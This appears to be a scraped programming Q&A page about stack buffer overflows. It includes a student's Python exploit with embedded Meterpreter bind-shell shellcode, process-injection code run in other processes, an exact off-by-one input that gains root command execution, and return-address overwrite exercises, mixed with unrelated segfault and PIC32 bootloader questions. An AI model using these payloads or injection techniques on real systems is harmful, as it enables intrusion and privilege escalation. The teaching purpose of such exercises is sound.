May I know how to increase the length of ESP on a sample c program which allows me to execute shellcode on the stack. However, as of now, the sample c program only has an ESP length of 61 thus insufficient for the shellcode. Any help is appreciated! This is for a class demonstration for beginners, i'm also a student so i'm very new to buffer overflow.
Sample C Program
#include <stdio.h>
#include <string.h>
#pragma warning(disable: 4996)
int root(void)
{
printf("\n Root privileges given to the user \n");
return 0;
}
int user(void){
printf("\n Normal user privileges given to the user \n");
return 0;
}
int main(void)
{
char buff[15];
int pass = 0;
int max = 15;
printf("\n Enter the password : \n");
//fgets(buff, max, stdin);
gets(buff);
if (strcmp(buff, "thegeekstuff"))
{
printf("\n Wrong Password \n");
}
else
{
printf("\n Correct Password \n");
pass = 1;
}
if (pass == 1)
{
root();
} else {
user();
}
return 0;
}
Python Code for Exploit (Win86) - bind_tcp_staged_meterpreter [LPORT=4444]
*Note: added an instruction for (add esp, -1500) before bind shell payload
#! python
import os
import sys
import subprocess
import binascii
import time
ESP_Address = bytes.fromhex('5954C377')
buf = ""
# Add ESP, -1500
buf += "\x81\xC4\x24\xFA\xFF\xFF"
# Bind Meterpreter Shell
buf += "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b"
buf += "\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7"
buf += "\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf"
buf += "\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c"
buf += "\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01"
buf += "\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31"
buf += "\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d"
buf += "\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66"
buf += "\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0"
buf += "\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f"
buf += "\x5f\x5a\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68"
buf += "\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8"
buf += "\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00"
buf += "\xff\xd5\x6a\x0b\x59\x50\xe2\xfd\x6a\x01\x6a\x02\x68"
buf += "\xea\x0f\xdf\xe0\xff\xd5\x97\x68\x02\x00\x11\x5c\x89"
buf += "\xe6\x6a\x10\x56\x57\x68\xc2\xdb\x37\x67\xff\xd5\x57"
buf += "\x68\xb7\xe9\x38\xff\xff\xd5\x57\x68\x74\xec\x3b\xe1"
buf += "\xff\xd5\x57\x97\x68\x75\x6e\x4d\x61\xff\xd5\x6a\x00"
buf += "\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x8b\x36"
buf += "\x6a\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58\xa4"
buf += "\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02"
buf += "\xd9\xc8\x5f\xff\xd5\x01\xc3\x29\xc6\x75\xee\xc3"
bind_staged_shell_payload = bytes(buf, "utf-8")
Dummy_Data = ("A" * 35).encode()
final_payload = Dummy_Data + ESP_Address + bind_staged_shell_payload
p = subprocess.Popen('buffer_overflow.exe', stdin=subprocess.PIPE) #NOTE: no shell=True here
time.sleep(20)
p.stdin.write(final_payload)
p.communicate()[0]
p.stdin.close()
sys.exit(0)
Code used to compile c program in windows XP SP 1
gcc -Wl,--stack,4194304 -fno-stack-protector -m32 buffer_overflow.c -o buffer_overflow.exe
What I've tried....very embarrassing with no success:
Compile C Program with the -Wl,--stack,4194304 option
Tried to increase stack size by creating dummy variables with huge buffers (Apparently, it makes the length of ESP shorter...)
Running cmd as Administrator...
Turning off Firewall
Testing Connectivity with nc IP_ADDRESS 4444 but connection refused (bind shell not generated successfully from exploit code) - will use meterpreter handler once connectivity has successfully established for the staged payload
Notes
The program does not crash with the shellcode as input...However, if a string with 100 characters is inserted, the program crashes.
You didnt describe how you found the return address on the stack and why did you add the 'add esp' so I will just help you get it from the beginning and hope it will help you.
First of all you should run the program in a debugger (I recommend IDA Pro) and start fuzzing it to see where the return address is stored on the stack.
After that try not to use some shellcodes and try to run the root function from the code so if it will work you will be indicated with the output string. The buffer should look like this: "A * return_address_offset + root_address" if it will work you can use a simple shellcode instead of the root function by placing it on the buffer and overwriting the return address with 'jmp esp' so the shellcode that placed on the stack will run. if you wont jump to the shellcode on the stack the program will treat the first 4 bytes of the shellcode like an address and try to go there and most likely that address will be an invalid address so the program crashes.
If you dont understand how it all work you should read about the stack and the calling conventions and how the program calls and returns from function.
There is a tutorial about exploitation it should also help you.
Hope I helped you!
Related
I have an unfortunately convoluted problem that I am hopeful someone might be able to help me with.
I have written a reasonably large program that I have converted into position independent code (see here for reference: https://bruteratel.com/research/feature-update/2021/01/30/OBJEXEC/). Basically just meaning that the resulting exe (compiled using mingw) contains data only in the .text section, and thus can be injected into and ran from an arbitrary place in memory. I have successfully ported the program to this format and can compile it for both x86 and x64.
I created two "helper" exe's to run the PIC program, a local injector and a remote injector. The local injector runs the program by calling VirtualAlloc, memcpy, and CreateThread. The remote injector runs the program by calling CreateProcess (suspended), VirtualAllocEx, WriteProcessMemory, QueueAPCThread, and ResumeThread (the last two api's being called on pi.hThread which was returned from CreateProcess).
I am experiencing inconsistent results in the program depending on the architecture and method of execution.
x64 local: works
x64 inject: works
x86 local: works
x86 inject: fails; stack overflow
I have determined that my program is crashing in a while loop in a particular function. This function is used to format data contained in buffers (heap allocated) that are passed in as function args. The raw data buffer (IOBuf) contains a ~325k long string containing Base64 characters with spaces randomly placed throughout. The while loop in question iterates over this buffer and copies non-space characters to a second buffer (IntermedBuf), with the end goal being that IntermedBuf contains the full Base64 string in IOBuf minus the random spaces.
A few notes about the following code snippet:
Because the code is written to be position independent, all api's must be manually resolved which is why you see things like (SPRINTF)(Apis.sprintfFunc). I have resolved the addresses of each API in their respective DLL and have created typedef's for each API that is called. While odd, this is not in itself causing the issue as the code works fine in 3/4 of the situations.
Because this program is failing when injected, I cannot use print statements to debug, so I have added calls to MessageBoxA to pop up at certain places to determine contents of variables and/or if execution is reaching that part of the code.
The relevant code snippet is as follows:
char inter[] = {'I','n','t',' ',0};
char tools[100] = {0};
if (((STRCMP)Apis.strcmpFunc)(IntermedBuf, StringVars->b64Null) != 0)
{
int i = 0, j = 0, strLen = 0, lenIOBuf = ((STRLEN)Apis.strlenFunc)(IOBuf);
((SPRINTF)Apis.sprintfFunc)(tools, StringVars->poi, IOBuf);
((MESSAGEBOXA)Apis.MessageBoxAFunc)(NULL, tools, NULL, NULL);
((MEMSET)Apis.memsetFunc)(tools, 0, 100 * sizeof(char));
((SPRINTF)Apis.sprintfFunc)(tools, StringVars->poi, IntermedBuf);
((MESSAGEBOXA)Apis.MessageBoxAFunc)(NULL, tools, NULL, NULL);
char* locSpace;
while (j < lenIOBuf)
{
locSpace = ((STRSTR)Apis.strstrFunc)(IOBuf + j, StringVars->space);
if (locSpace == 0)
locSpace = IOBuf + lenIOBuf;
strLen = locSpace - IOBuf - j;
((MEMCPY)Apis.memcpyFunc)(IntermedBuf + i, IOBuf + j, strLen);
i += strLen, j += strLen + 1;
}
((MESSAGEBOXA)Apis.MessageBoxAFunc)(NULL, StringVars->here, NULL, NULL);
((MEMSET)Apis.memsetFunc)(IOBuf, 0, BUFFSIZE * sizeof(char));
The first two MessageBoxA calls successfully execute, each containing the address of IOBuf and IntermedBuf respectively. The last call to MessageBoxA, after the while loop, never comes, meaning the program is crashing in the while loop as it copies data from IOBuf to IntermedBuf.
I ran remote.exe which spawned a new WerFault.exe (I have tried with calc, notepad, several other processes with the same result) containing the PIC program, and stuck it into Windbg to try and get a better sense of what was happening. I found that after receiving the first two message boxes and clicking through them, WerFault crashes with a stack overflow caused by a call to strstr:
Examining the contents of the stack at crash time shows this:
Looking at the contents of IntermedBuf (which is one of the arguments passed to the strstr call) I can see that the program IS copying data from IOBuf to IntermedBuf and removing spaces as intended, however the program crashes after copying ~80k.
IOBuf (raw data):
IntermedBuf(After removing spaces)
My preliminary understanding of what is happening here is that strstr (and potentially memcpy) are pushing data to the stack with each call, and given the length of the loop (lengthIOBuf is ~325K, spaces occur randomly every 2-11 characters throught) the stack is overflowing before the while loop finishes and the stack unwinds. However this doesn't explain why this succeeds in x64 in both cases, and in x86 when the PIC program is running in a user-made program as opposed to injected into a legitimate process.
I have ran the x86 PIC program in the local injector, where it succeeds, and also attached Windbg to it in order to examine what is happening differently there. The stack similarly contains the same sort of pattern of characters as seen in the above screenshot, however later in the loop (because again the program succeeds), the stack appears to... jump? I examined the contents of the stack early into the while loop (having set bp on strstr) and see that it contains much the same pattern seen in the stack in the remote injector session:
I also added another MessageBox this time inside the while loop, set to pop when j > lenIOBuf - 500 in order to catch the program as it neared completion of the while loop.
char* locSpace;
while (j < lenIOBuf)
{
if (j > lenIOBuf - 500)
{
((MEMSET)Apis.memsetFunc)(tools, 0, 100 * sizeof(char));
((SPRINTF)Apis.sprintfFunc)(tools, StringVars->poi, IntermedBuf);
((MESSAGEBOXA)Apis.MessageBoxAFunc)(NULL, tools, NULL, NULL);
}
locSpace = ((STRSTR)Apis.strstrFunc)(IOBuf + j, StringVars->space);
if (locSpace == 0)
locSpace = IOBuf + lenIOBuf;
strLen = locSpace - IOBuf - j;
((MEMCPY)Apis.memcpyFunc)(IntermedBuf + i, IOBuf + j, strLen);
i += strLen, j += strLen + 1;
}
When this MessageBox popped, I paused execution and found that ESP was now 649fd80; previously it was around 13beb24?
So it appears that the stack relocated, or the local injector added more memory to the stack or something (I am embarassingly naive about this stuff). Looking at the "original" stack location at this stage in execution shows that the data there previously is still there at this point when the loop is near completion:
So bottom line, this code which runs successfully by all accounts in x64 local/remote and x86 local is crashing when ran in another process in x86. It appears that in the local injector case the stack fills in a similar fashion as in the remote injector where it crashes, however the local injector is relocating the stack or adding more stack space or something which isn't happening in the remote injector. Does anyone have any ideas why, or more importantly, how I could alter the code to achieve the goal of removing spaces from a large, arbitrary buffer in a different way where I might not encounter the overflow that I am currently?
Thanks for any help
typedef void*(WINAPI* MEMCPY)(void * destination, const void * source, size_t num);
typedef char*(WINAPI* STRSTR)(const char *haystack, const char *needle);
is wrong declarations. both this api used __cdecl calling convention - this mean that caller must up stack ( add esp,4*param_count) after call. but because you declare it as __stdcall (== WINAPI) compiler not generate add esp,4*param_count instruction. so you have unbalanced push for parameters.
you need use
typedef void * (__cdecl * MEMCPY)(void * _Dst, const void * _Src, _In_ size_t _MaxCount);
typedef char* (__cdecl* STRSTR)(_In_z_ char* const _String, _In_z_ char const* const _SubString);
and so on..
Familiar with what you are doing, and frankly I moved onto compiling some required functions (memcpy, etc) instead of manually looking them up and making external calls.
For example:
inline void* _memcpy(void* dest, const void* src, size_t count)
{
char *char_dest = (char *)dest;
char *char_src = (char *)src;
if ((char_dest <= char_src) || (char_dest >= (char_src+count)))
{
/* non-overlapping buffers */
while(count > 0)
{
*char_dest = *char_src;
char_dest++;
char_src++;
count--;
}
}
else
{
/* overlaping buffers */
char_dest = (char *)dest + count - 1;
char_src = (char *)src + count - 1;
while(count > 0)
{
*char_dest = *char_src;
char_dest--;
char_src--;
count--;
}
}
return dest;
}
inline char * _strstr(const char *s, const char *find)
{
char c, sc;
size_t len;
if ((c = *find++) != 0)
{
len = strlen(find);
do {
do {
if ((sc = *s++) == 0)
return 0;
} while (sc != c);
} while (strncmp(s, find, len) != 0);
s--;
}
return (char *)((size_t)s);
}
Credits for the above code from ReactOS. You can lookup the rest required (strlen, etc.)
I am getting segment fault error in this function. Can someone tell why?
/* Looks for an addition symbol "+" surrounded by two numbers, e.g. "5+6"
and, if found, adds the two numbers and replaces the addition subexpression
with the result ("(5+6)*8" becomes "(11)*8")--remember, you don't have
to worry about associativity! */
if (buffer[i] == '+') {
for (startOffset = i;
startOffset - 1 >= 0 && isNumeric(buffer[startOffset - 1]);
--startOffset)
; // empty loop body
if (startOffset == i) // For further processing
continue;
for (remainderOffset = i;
remainderOffset + 1 < bufferlen && isNumeric(buffer[remainderOffset + 1]);
++remainderOffset)
; // empty loop body
if (remainderOffset == i)
continue;
strncpy(operand, &buffer[startOffset], i - startOffset);
operand[i - startOffset] = '\0';
string2int(value1, operand);
strncpy(operand, &buffer[remainderOffset], remainderOffset - i);
operand[remainderOffset - i] = '\0';
string2int(value2, operand);
sum = value1 + value2;
sprint(operand, "%d", sum);
operlength = strlen(operand);
strncpy(&buffer[startOffset], operand, operlength);
strcpy(&buffer[operlength], &buffer[remainderOffset + 1]);
bufferlen = bufferlen - (remainderOffset - startOffset + 1) + operlength;
}
Compile your program with the debugger flag in gdb like this cc -g "program name". If you have command line arguments, for the program execute gdb --args progname arg2 ...
It will load your program into a CLI utility which has the lines numbered. Type in 'break 32' for example and this will monitor variables on that line. At any rate, once you've compiled it with the debugger symbols and loaded it, type 'run' to start the program. If no break points are set or anything else funky, it will trigger the SEGV and tell you exactly which line of code triggered it. Run the debugger at least 3 times to make sure the segv fault is being triggered by the same line of code. Then check your memory bounds(is your array index outside of the allocated address space? You were tresspassing... Try inserting a printf line which prints off the array addresses and offset you are using to be sure your bounds aren't getting skewed; a side note, int conjunction with the gdb debugger using the breakpoint and typing 'step' on the CLI each time to step through each step, you can also at each step in your execution type in 'info locals' which will tell you the variables values in the stack space, i.e. your index variable value at each step. As an alternative to manually inserting printf lines) I am not a professional expert. It looks like continue on the 9th line is moot. Good luck!
I have been trying for the last few weeks to find out why this isn't working. I have tried reading all the documentation I could find on my PIC32 MCU (PIC32MX795F512L) and the XC32 compiler I am using (v1.34) but with no success as of yet.
I need a special constant value written to the physical boot flash address 0x1FC02FEC (Virtual address: 0x9FC02FEC). This constant is 0x3BDFED92.
I have managed to successfully do this on my main program (If I program my pic32 directly using Real ICE) by means of the following command line (Which I put in xc32-ld under "Additional options" under the Project Properties):
--fill=0x3bdfed92#0x9FC02FEC
I am then able to check (Inside my main program) if this address indeed does have the correct value stored inside it, and this works too. I use the following code for that:
if(*(int *)(0x9fc02fec) == 0x3bdfed92)
My problem is the following. I do not want my main program hex file to write the constant into that location. I want my bootloader hex file to do this and my main program must just be able to read that location and see if that constant is there. If I use the --fill command inside the xc32-ld of my bootloader program, it successfully writes the constant just like the main program did (I have tested this by running my bootloader program with the same --fill command in debug mode and checking the 0x1FC02FEC address for the constant). Problem is, when my bootloader reads in a new main program via the MicroSD, and then jumps to the new main program, everything doesn't work. Seems like, before it jumps to the new main program, something bad happens and everything crashes. Almost like writing a value to the 1FC02FEC location is a problem when the program jumps from boot loader to main program.
Is there a reason for this? I hope my explanation is ok, if not then please let me know and I will try reword it in a more understandable way.
I am using the example code provided by Microchip to do the bootloader using the MicroSD card. The following is the code:
int main(void)
{
volatile UINT i;
volatile BYTE led = 0;
// Setup configuration
(void)SYSTEMConfig(SYS_FREQ, SYS_CFG_WAIT_STATES | SYS_CFG_PCACHE);
InitLED();
TRISBbits.TRISB14 = 0;
LATBbits.LATB14 = 0;
ClrWdt();
// Create a startup delay to resolve trigger switch bouncing issues
unsigned char x;
WORD ms = 500;
DWORD dwCount = 25;
while(ms--)
{
ClrWdt();
x=4;
while(x--)
{
volatile DWORD _dcnt;
_dcnt = dwCount*((DWORD)(0.00001/(1.0/GetInstructionClock())/10));
while(_dcnt--)
{
#if defined(__C32__)
Nop();
Nop();
Nop();
#endif
}
}
}
if(!CheckTrigger() && ValidAppPresent())
{
// This means the switch is not pressed. Jump
// directly to the application
JumpToApp();
}
else if(CheckTrigger() && ValidAppPresent()){
if(MDD_MediaDetect()){
if(FSInit()){
myFile = FSfopen("image.hex","r");
if(myFile == NULL){
JumpToApp();
}
}
else{
JumpToApp();
}
}
else{
JumpToApp();
}
}
//Initialize the media
while (!MDD_MediaDetect())
{
// Waiting for media to be inserted.
BlinkLED();
}
// Initialize the File System
if(!FSInit())
{
//Indicate error and stay in while loop.
Error();
while(1);
}
myFile = FSfopen("image.hex","r");
if(myFile == NULL)// Make sure the file is present.
{
//Indicate error and stay in while loop.
Error();
while(1);
}
// Erase Flash (Block Erase the program Flash)
EraseFlash();
// Initialize the state-machine to read the records.
record.status = REC_NOT_FOUND;
while(1)
{
ClrWdt();
// For a faster read, read 512 bytes at a time and buffer it.
readBytes = FSfread((void *)&asciiBuffer[pointer],1,512,myFile);
if(readBytes == 0)
{
// Nothing to read. Come out of this loop
// break;
FSfclose(myFile);
// Something fishy. The hex file has ended abruptly, looks like there was no "end of hex record".
//Indicate error and stay in while loop.
Error();
while(1);
}
for(i = 0; i < (readBytes + pointer); i ++)
{
// This state machine seperates-out the valid hex records from the read 512 bytes.
switch(record.status)
{
case REC_FLASHED:
case REC_NOT_FOUND:
if(asciiBuffer[i] == ':')
{
// We have a record found in the 512 bytes of data in the buffer.
record.start = &asciiBuffer[i];
record.len = 0;
record.status = REC_FOUND_BUT_NOT_FLASHED;
}
break;
case REC_FOUND_BUT_NOT_FLASHED:
if((asciiBuffer[i] == 0x0A) || (asciiBuffer[i] == 0xFF))
{
// We have got a complete record. (0x0A is new line feed and 0xFF is End of file)
// Start the hex conversion from element
// 1. This will discard the ':' which is
// the start of the hex record.
ConvertAsciiToHex(&record.start[1],hexRec);
WriteHexRecord2Flash(hexRec);
record.status = REC_FLASHED;
}
break;
}
// Move to next byte in the buffer.
record.len ++;
}
if(record.status == REC_FOUND_BUT_NOT_FLASHED)
{
// We still have a half read record in the buffer. The next half part of the record is read
// when we read 512 bytes of data from the next file read.
memcpy(asciiBuffer, record.start, record.len);
pointer = record.len;
record.status = REC_NOT_FOUND;
}
else
{
pointer = 0;
}
// Blink LED at Faster rate to indicate programming is in progress.
led += 3;
mLED = ((led & 0x80) == 0);
}//while(1)
return 0;
}
If I remember well (very long time ago I used PIC32) you can add into your linker script:
MEMORY
{
//... other stuff
signature (RX) : ORIGIN = 0x9FC02FEC, length 0x4
}
then
SECTIONS
{
.signature_section:
{
BYTE(0x3b);
BYTE(0xdf);
BYTE(0xed);
BYTE(0x92);
}>signature
}
Googling around I also found out, that you could do that in your source code, I hope...
const int __attribute__((space(prog), address(0x9FC02FEC))) signature = 0x3bdfed92;
In my program I use an attribute to place a certain value at a certain location in memory space. My bootloader and App can read this location. This may be a simpler way for you to do this. This is using xc16 and a smaller part but I've done it on a PIC32 as well.
#define CHECK_SUM 0x45FB
#define CH_HIGH ((CHECK_SUM & 0xFF00) >> 8)
#define CH_LOW ((CHECK_SUM & 0x00FF) >> 0)
const char __attribute__((space(prog), address(APP_CS_LOC))) CHKSUM[2] = {CH_LOW,CH_HIGH};
Just a note, when you read it, it will be in the right format: HIGH->LOW
This program is running with root privileges on my machine and I need to perform a Stack overflow attack on the following code and get root privileges:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <openssl/sha.h>
void sha256(char *string, char outputBuffer[65])
{
unsigned char hash[SHA256_DIGEST_LENGTH];
int i = 0;
SHA256_CTX sha256;
SHA256_Init(&sha256);
SHA256_Update(&sha256, string, strlen(string));
SHA256_Final(hash, &sha256);
for(i = 0; i < SHA256_DIGEST_LENGTH; i++)
{
sprintf(outputBuffer + (i * 2), "%02x", hash[i]);
}
outputBuffer[64] = 0;
}
int password_check(char *userpass)
{
char text[20] = "thisisasalt";
unsigned int password_match = 0;
char output[65] = { 0, };
// >>> hashlib.sha256("Hello, world!").hexdigest()
char pass[] = "315f5bdb76d078c43b8ac0064e4a0164612b1fce77c869345bfc94c75894edd3";
text[0] = 'a';
text[1] = 't';
text[2] = 'j';
text[3] = '5';
text[4] = '3';
text[5] = 'k';
text[6] = '$';
text[7] = 'g';
text[8] = 'f';
text[9] = '[';
text[10] = ']';
text[11] = '\0';
strcat(text, userpass);
sha256(text, output);
if (strcmp(output, pass) == 0)
{
password_match = 1;
}
return (password_match == 1);
}
int main(int argc, char **argv)
{
if (argc < 3)
{
printf("Usage: %s <pass> <command>\n", argv[0]);
exit(1);
}
if (strlen((const char *) argv[1]) > 10)
{
printf("Error: pasword too long\n");
exit(1);
}
if (password_check(argv[1]))
{
printf("Running command as root: %s\n", argv[2]);
setuid(0);
setgid(0);
system(argv[2]);
}
else
{
printf("Authentication failed! This activity will be logged!\n");
}
return 0;
}
So I try to analyse the program with IDA and I see the text segment going from the lower addresses to the higher addresses, higher than that I see the data and then the bss and finally external commands.
Now as far as I know the stack should be just above that, but I'm not certain how to view it, how exactly am I supposed to view the stack in order to know what I'm writing on? (Do I even need it or am I completely clueless?)
Second question is considering the length of the input, how do i get around this check in the code:
if (strlen((const char *) argv[1]) > 10)
{
printf("Error: pasword too long\n");
exit(1);
}
Can I somehow give the string to the program by reference? If so how do I do it? (Again, hoping I'm not completely clueless)
Now as far as I know the stack should be just above that, but I'm not certain how to view it, how exactly am I supposed to view the stack in order to know what I'm writing on? (Do I even need it or am I completely clueless?)
The stack location varies all the time - you need to look at the value of the ESP/RSP register, its value is the current address of the top of the stack. Typically, variable addressing will be based on EBP rather then ESP, but they both will point to the same general area of memory.
During analysis, IDA sets up a stack frame for each function, which acts much like a struct - you can define variables with types and names in it. This frame is summarized at the top of the function:
Double-clicking it or any local variable in the function body will open a more detailed window. That's as good as you can get without actually running your program in a debugger.
You can see that text is right next to password_match, and judging from the addresses, there are 0x14 bytes allocated for text, as one would expect. However, this is not guaranteed and the compiler can freely shuffle the variables around, pad them or optimize them into registers.
Second question is considering the length of the input, how do i get around this check in the code:
if (strlen((const char *) argv[1]) > 10)
{
printf("Error: pasword too long\n");
exit(1);
}
You don't need to get around this check, it's already broken enough. There's an off-by-one error.
Stop reading here if you want to figure out the overflow yourself.
The valid range of indices for text spans from text[0] through text[19]. In the code, user input is written to the memory area starting at text[11]. The maximum input length allowed by the strlen check is 10 symbols + the NULL terminator. Unfortunately, that means text[19] contains the 9th user-entered symbol, and the 10th symbol + the terminator overflow into adjacent memory space. Under certain circumstances, that allows you to overwrite the least significant byte of password_match with an arbitrary value, and the second least significant byte with a 0. Your function accepts the password if password_match equals 1, which means the 10th character in your password needs to be '\x01' (note that this is not the same character as '1').
Here are two screenshots from IDA running as a debugger. text is highlighted in yellow, password_match is in green.
The password I entered was 123456789\x01.
Stack before user entered password is strcat'd into text.
Stack after strcat. Notice that password_match changed.
I want to skip a line in C, the line x=1; in the main section using bufferoverflow; however, I don't know why I can not skip the address from 4002f4 to the next address 4002fb in spite of the fact that I am counting 7 bytes form <main+35> to <main+42>.
I also have configured the options the randomniZation and execstack environment in a Debian and AMD environment, but I am still getting x=1;. What it's wrong with this procedure?
I have used dba to debug the stack and the memory addresses:
0x00000000004002ef <main+30>: callq 0x4002a4 **<function>**
**0x00000000004002f4** <main+35>: movl $0x1,-0x4(%rbp)
**0x00000000004002fb** <main+42>: mov -0x4(%rbp),%esi
0x00000000004002fe <main+45>: mov $0x4629c4,%edi
void function(int a, int b, int c)
{
char buffer[5];
int *ret;
ret = buffer + 12;
(*ret) += 8;
}
int main()
{
int x = 0;
function(1, 2, 3);
x = 1;
printf("x = %i \n", x);
return 0;
}
You must be reading Smashing the Stack for Fun and Profit article. I was reading the same article and have found the same problem it wasnt skipping that instruction. After a few hours debug session in IDA I have changed the code like below and it is printing x=0 and b=5.
#include <stdio.h>
void function(int a, int b) {
int c=0;
int* pointer;
pointer =&c+2;
(*pointer)+=8;
}
void main() {
int x =0;
function(1,2);
x = 3;
int b =5;
printf("x=%d\n, b=%d\n",x,b);
getch();
}
In order to alter the return address within function() to skip over the x = 1 in main(), you need two pieces of information.
1. The location of the return address in the stack frame.
I used gdb to determine this value. I set a breakpoint at function() (break function), execute the code up to the breakpoint (run), retrieve the location in memory of the current stack frame (p $rbp or info reg), and then retrieve the location in memory of buffer (p &buffer). Using the retrieved values, the location of the return address can be determined.
(compiled w/ GCC -g flag to include debug symbols and executed in a 64-bit environment)
(gdb) break function
...
(gdb) run
...
(gdb) p $rbp
$1 = (void *) 0x7fffffffe270
(gdb) p &buffer
$2 = (char (*)[5]) 0x7fffffffe260
(gdb) quit
(frame pointer address + size of word) - buffer address = number of bytes from local buffer variable to return address
(0x7fffffffe270 + 8) - 0x7fffffffe260 = 24
If you are having difficulties understanding how the call stack works, reading the call stack and function prologue Wikipedia articles may help. This shows the difficulty in making "buffer overflow" examples in C. The offset of 24 from buffer assumes a certain padding style and compile options. GCC will happily insert stack canaries nowadays unless you tell it not to.
2. The number of bytes to add to the return address to skip over x = 1.
In your case the saved instruction pointer will point to 0x00000000004002f4 (<main+35>), the first instruction after function returns. To skip the assignment you need to make the saved instruction pointer point to 0x00000000004002fb (<main+42>).
Your calculation that this is 7 bytes is correct (0x4002fb - 0x4002fb = 7).
I used gdb to disassemble the application (disas main) and verified the calculation for my case as well. This value is best resolved manually by inspecting the disassembly.
Note that I used a Ubuntu 10.10 64-bit environment to test the following code.
#include <stdio.h>
void function(int a, int b, int c)
{
char buffer[5];
int *ret;
ret = (int *)(buffer + 24);
(*ret) += 7;
}
int main()
{
int x = 0;
function(1, 2, 3);
x = 1;
printf("x = %i \n", x);
return 0;
}
output
x = 0
This is really just altering the return address of function() rather than an actual buffer overflow. In an actual buffer overflow, you would be overflowing buffer[5] to overwrite the return address. However, most modern implementations use techniques such as stack canaries to protect against this.
What you're doing here doesn't seem to have much todo with a classic bufferoverflow attack. The whole idea of a bufferoverflow attack is to modify the return adress of 'function'. Disassembling your program will show you where the ret instruction (assuming x86) takes its adress from. This is what you need to modify to point at main+42.
I assume you want to explicitly provoke the bufferoverflow here, normally you'd need to provoke it by manipulating the inputs of 'function'.
By just declaring a buffer[5] you're moving the stackpointer in the wrong direction (verify this by looking at the generated assembly), the return adress is somewhere deeper inside in the stack (it was put there by the call instruction). In x86 stacks grow downwards, that is towards lower adresses.
I'd approach this by declaring an int* and moving it upward until I'm at the specified adress where the return adress has been pushed, then modify that value to point at main+42 and let function ret.
You can't do that this way.
Here's a classic bufferoverflow code sample. See what happens once you feed it with 5 and then 6 characters from your keyboard. If you go for more (16 chars should do) you'll overwrite base pointer, then function return address and you'll get segmentation fault. What you want to do is to figure out which 4 chars overwrite the return addr. and make the program execute your code. Google around linux stack, memory structure.
void ff(){
int a=0; char b[5];
scanf("%s",b);
printf("b:%x a:%x\n" ,b ,&a);
printf("b:'%s' a:%d\n" ,b ,a);
}
int main() {
ff();
return 0;
}